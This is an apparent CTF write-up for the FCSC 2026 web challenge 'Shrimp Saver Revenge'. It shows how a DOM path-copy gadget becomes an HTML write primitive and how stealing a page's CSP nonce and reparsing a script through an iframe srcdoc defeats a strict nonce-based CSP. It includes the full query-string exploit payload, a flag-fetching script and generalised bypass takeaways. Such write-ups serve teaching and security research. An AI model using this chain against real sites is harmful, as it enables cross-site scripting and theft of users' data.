Note
Same path-copy DOM gadget as Shrimp Saver, but the max_input_vars CSP break is patched. Use the gadget to write a script, steal the live nonce, fix the script's nonce attribute, then copy its outerHTML into an iframe srcdoc so the reparse runs it under a valid nonce.
Shrimp Saver Revenge — nonce reuse + srcdoc reparse to beat a strict CSP
CTF: FCSC 2026 · Category: Web (client-side) · Author: Mizu
What changed from the original
Identical app and the same app.js path-copy gadget as Shrimp Saver (read that first for the
gadget mechanics). The difference is a new php.ini:
display_errors = Off
display_startup_errors = Off
log_errors = On
With display_errors off, the max_input_vars warning is no longer printed into the body, so the
"headers already sent" CSP break is dead. We now need a real bypass of:
Content-Security-Policy: default-src 'self'; connect-src 'self'; script-src 'nonce-$nonce';
Goal is unchanged: same-origin JS in the Chrome bot → fetch('/flag.php') → console.log (echoed back).
From path-copy to a DOM write primitive
The gadget calls blacklist.includes(part) on every traversed segment, and lets us assign
target[lastPart] = value. Instead of eval (CSP-blocked), point a writable sink function at a DOM HTML
sink. Two wrinkles, both visible while testing:
blacklist.includes = document.writethrows Illegal invocation (wrongthis). Fix: setblacklist = documentfirst sothisis correct, or usedocument.body.setHTMLUnsafe.- Reassigning
blacklistandblacklist.includesin the same request crashes mid-iteration because the intermediate object doesn't have the method yet. Stabilize by first swappingincludesfor a harmless total function —Array.isArray— so traversal never throws while you rewire things ("buffer state").
That gives a working HTML write into the document via the gadget.
Beating the nonce: write → re-nonce → srcdoc reparse
A nonce'd CSP means any <script> we inject has the wrong nonce and won't run. The trick chain:
- Steal the live nonce. The legit bootstrap script is the last body child:
document.body.lastElementChild.nonce. Stash it in a global (e.g.document.n). - Write an inert script + an empty iframe into the DOM via the write primitive:
<script nonce=x>PAYLOAD</script><iframe></iframe>— wrong nonce, doesn't execute. - Fix the script's nonce by copying the stolen nonce into the script's
nonceattribute using the gadget's dotted-path navigation (children.N.attributes.0.value = document.n). Setting the content attribute (not just the IDL property) makes it serialize intoouterHTML. - Force a reparse by copying the script's
outerHTMLinto the iframe'ssrcdoc(children.M.srcdoc = children.N.outerHTML). The browser parses the srcdoc document fresh and re-evaluates the inline script against the CSP again — and now the nonce matches → execution.
Manual confirmation from testing:
scrpt.setAttribute("nonce", "Fz+yGrwm5jml9pHNoR5JaA=="); // real nonce
ifrm.srcdoc = scrpt.outerHTML; // reparse → runs under valid nonce
Final payload
All inside one query string (URL-encode &/= properly — using the form encoder corrupts the
structure). The injected script avoids . and uses top[...] because it runs inside the srcdoc frame:
top['fetch']('/flag%2ephp')['then'](r=>r['text']())['then'](x=>top['console']['log'](x))
Parameter order (conceptual):
?ownerDocument.n=ownerDocument.body.lastElementChild.nonce # 1. steal nonce
&<script nonce=x>...payload...</script><iframe></iframe>=ownerDocument # (writes markup via sink)
&ownerDocument.includes=ownerDocument.defaultView.Array.isArray # 2. stabilize traversal
&ownerDocument.defaultView.blacklist=ownerDocument
&ownerDocument.defaultView.blacklist.includes=ownerDocument.write # write primitive
&x=<script nonce=x>...payload...</script><iframe></iframe> # inert script + iframe
&children.2.attributes.0.value=ownerDocument.n # 3. fix script nonce
&children.3.srcdoc=children.2.outerHTML # 4. reparse → XSS
The reparsed script fetches /flag.php (the bot's cookie is sent same-origin) and console.logs the
response → flag relayed back.
Flag: FCSC{04738852565c8dbb418e3af0a3eb0da3a2c9592859422fdbac645ef5fd181166}
Takeaways (generalized technique)
- Nonce reuse + reparse is a general nonce-CSP bypass when you have a DOM-write primitive but can't
inject a correctly-nonced script directly: read an existing valid nonce from the DOM, build a script
carrying that nonce as a serialized attribute, then get the markup re-parsed (iframe
srcdoc,setHTMLUnsafe, etc.) so CSP re-evaluates it and the nonce now matches. - Set the content attribute (
setAttribute/children.x.attributes.0.value), not just the IDL property, so the nonce survivesouterHTMLserialization. - When rewiring functions used during a hot loop, first swap in a harmless total function
(
Array.isArray) to avoid mid-iteration crashes. document.write/method sinks need correctthis; bind the receiver (setblacklist = document) or use a self-contained sink likesetHTMLUnsafe.
Sources & references
- Challenge source:
fcsc2026/web/shrimp_saver_revenge - Prerequisite gadget writeup: Shrimp Saver
- srcdoc/nonce reparse idea: https://github.com/aszx87410/ctf-writeups/issues/48